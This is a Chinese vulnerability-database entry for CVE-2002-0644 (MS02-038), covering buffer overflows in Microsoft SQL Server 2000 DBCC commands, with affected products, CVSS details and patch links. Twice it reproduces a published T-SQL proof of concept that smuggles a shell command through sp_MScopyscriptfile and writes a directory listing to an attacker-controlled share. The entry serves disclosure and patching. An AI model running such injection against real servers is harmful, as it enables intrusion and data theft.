CVE-2002-0644
CVSS7.5
发布时间 :2002-08-12 00:00:00
修订时间 :2008-09-05 16:28:33
NMCOES    

[原文]Buffer overflow in several Database Consistency Checkers (DBCCs) for Microsoft SQL Server 2000 and Microsoft Desktop Engine (MSDE) 2000 allows members of the db_owner and db_ddladmin roles to execute arbitrary code.


[CNNVD]Microsoft SQL Server 2000数据库一致性检查器远程缓冲区溢出漏洞(MS02-038)(CNNVD-200208-163)

        
        Microsoft SQL Server 2000是一款由Microsoft公司开发的商业性质大型数据库系统,数据库一致性检查器(Database Consistency Checkers (DBCCs))是命令控制台工具,允许对SQL服务器进行维护和其他操作。
        数据库一致性检查器(Database Consistency Checkers (DBCCs))中一些用于数据库复制功能的存储过程对用户提交的参数数据缺少正确的边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        多个DBCC函数中对用户提交的参数缺少正确的缓冲区边界检查,提交超长字符串作为参数提交给如下存储过程,可导致缓冲区溢出,可能可以以SQL Server Agent Proxy帐户的进程在系统中执行任意指令:
        DBCC ADDEXTENDEDPROC ('xp_storedproc','XXX...') (a)
        DBCC INDEXFRAG ('','XXX...') (b)
        DBCC UPDATEUSAGE ('','XXX...') (c)
        DBCC CHECKCONSTRAINTS ('XXX...') (c)
        DBCC SHOWCONTIG ('XXX...') (d)
        DBCC CLEANTABLE ('','XXX...') (d)
        (a)只有sysadmin fixed server role成员才能运行此命令。
        (b)只有sysadmin fixed server role, db_owner或者db_ddladmin fixed database role能运行此命令。
        (c)只有sysadmin fixed server role或者db_owner fixed database role能运行此命令。
        (d)所有用户可以运行此命令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:data_engine:2000Microsoft data_engine 2000
cpe:/a:microsoft:sql_server:2000Microsoft SQL Server 2000

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0644
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0644
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200208-163
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/ms02-038.asp
(VENDOR_ADVISORY)  MS  MS02-038

- 漏洞信息

Microsoft SQL Server 2000数据库一致性检查器远程缓冲区溢出漏洞(MS02-038)
高危 边界条件错误
2002-08-12 00:00:00 2006-09-01 00:00:00
远程  
        
        Microsoft SQL Server 2000是一款由Microsoft公司开发的商业性质大型数据库系统,数据库一致性检查器(Database Consistency Checkers (DBCCs))是命令控制台工具,允许对SQL服务器进行维护和其他操作。
        数据库一致性检查器(Database Consistency Checkers (DBCCs))中一些用于数据库复制功能的存储过程对用户提交的参数数据缺少正确的边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        多个DBCC函数中对用户提交的参数缺少正确的缓冲区边界检查,提交超长字符串作为参数提交给如下存储过程,可导致缓冲区溢出,可能可以以SQL Server Agent Proxy帐户的进程在系统中执行任意指令:
        DBCC ADDEXTENDEDPROC ('xp_storedproc','XXX...') (a)
        DBCC INDEXFRAG ('','XXX...') (b)
        DBCC UPDATEUSAGE ('','XXX...') (c)
        DBCC CHECKCONSTRAINTS ('XXX...') (c)
        DBCC SHOWCONTIG ('XXX...') (d)
        DBCC CLEANTABLE ('','XXX...') (d)
        (a)只有sysadmin fixed server role成员才能运行此命令。
        (b)只有sysadmin fixed server role, db_owner或者db_ddladmin fixed database role能运行此命令。
        (c)只有sysadmin fixed server role或者db_owner fixed database role能运行此命令。
        (d)所有用户可以运行此命令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 暂时没有合适的临时解决方法。
        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS02-038)以及相应补丁:
        MS02-038:Unchecked Buffer in SQL Server 2000 Utilities Could Allow Code Execution(Q316333)
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS02-038.asp

        补丁下载:
         * SQL Server 2000:
        
        http://support.microsoft.com/support/misc/kblookup.asp?id=Q316333

- 漏洞信息 (21650)

Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability (EDBID:21650)
windows remote
2002-07-25 Verified
0 Cesar Cerrudo
N/A [点击下载]
source: http://www.securityfocus.com/bid/5307/info

Microsoft SQL Server 2000 includes utilities called Database Consistency Checkers (DBCC). Several of these programs contain identical buffer overflows that, when exploited, could allow an attacker to execute arbitrary code with the privilege level of the SQL Server service account.

declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "' 
exec sp_MScopyscriptfile @scripfile ,''		

- 漏洞信息

4776
Microsoft SQL Server 2000 Database Consistency Checkers (DBCCs) 2000 Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-07-25 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability
Boundary Condition Error 5307
Yes No
2002-07-25 12:00:00 2009-07-11 02:56:00
Discovery credited to Cesar Cerrudo <cesarc56@yahoo.com>.

- 受影响的程序版本

Microsoft SQL Server 2000 Desktop Engine
+ Akiva WebBoard 6.1
+ Microsoft Access 2000
+ Microsoft Application Center 2000
+ Microsoft BizTalk Server 2000 Developer Edition
+ Microsoft BizTalk Server 2000 Enterprise Edition
+ Microsoft BizTalk Server 2000 Standard Edition
+ Microsoft BizTalk Server 2002 Developer Edition
+ Microsoft BizTalk Server 2002 Enterprise Edition
+ Microsoft Office 2000
+ Microsoft Project Central Server
+ Microsoft SharePoint Team Services from Microsoft
+ Microsoft Visio 2000 Enterprise Edition
+ Microsoft Visio Enterprise Network Tools
+ Microsoft Visual FoxPro 6.0
+ Microsoft Visual Studio 6.0
+ Microsoft Visual Studio .NET Academic Edition 0
+ Microsoft Visual Studio .NET Enterprise Architect Edition
+ Microsoft Visual Studio .NET Enterprise Developer Edition
+ Microsoft Visual Studio .NET Professional Edition
+ SmartMax Software MailMax 5.0
+ Veritas Software Backup Exec for Windows Servers 9.0
Microsoft SQL Server 2000 SP2
Microsoft SQL Server 2000 SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
Microsoft SQL Server 2000
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0
Microsoft SQL Server 2000 SP3

- 不受影响的程序版本

Microsoft SQL Server 2000 SP3

- 漏洞讨论

Microsoft SQL Server 2000 includes utilities called Database Consistency Checkers (DBCC). Several of these programs contain identical buffer overflows that, when exploited, could allow an attacker to execute arbitrary code with the privilege level of the SQL Server service account.

- 漏洞利用

The following exploit was provided by Cesar Cerrudo &lt;cesarc56@yahoo.com&gt;:

declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ &gt;
"\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat &gt; nul" | ' +
@command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''

- 解决方案

Fixes available:


Microsoft SQL Server 2000

Microsoft SQL Server 2000 SP1

Microsoft SQL Server 2000 Desktop Engine

Microsoft SQL Server 2000 SP2

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站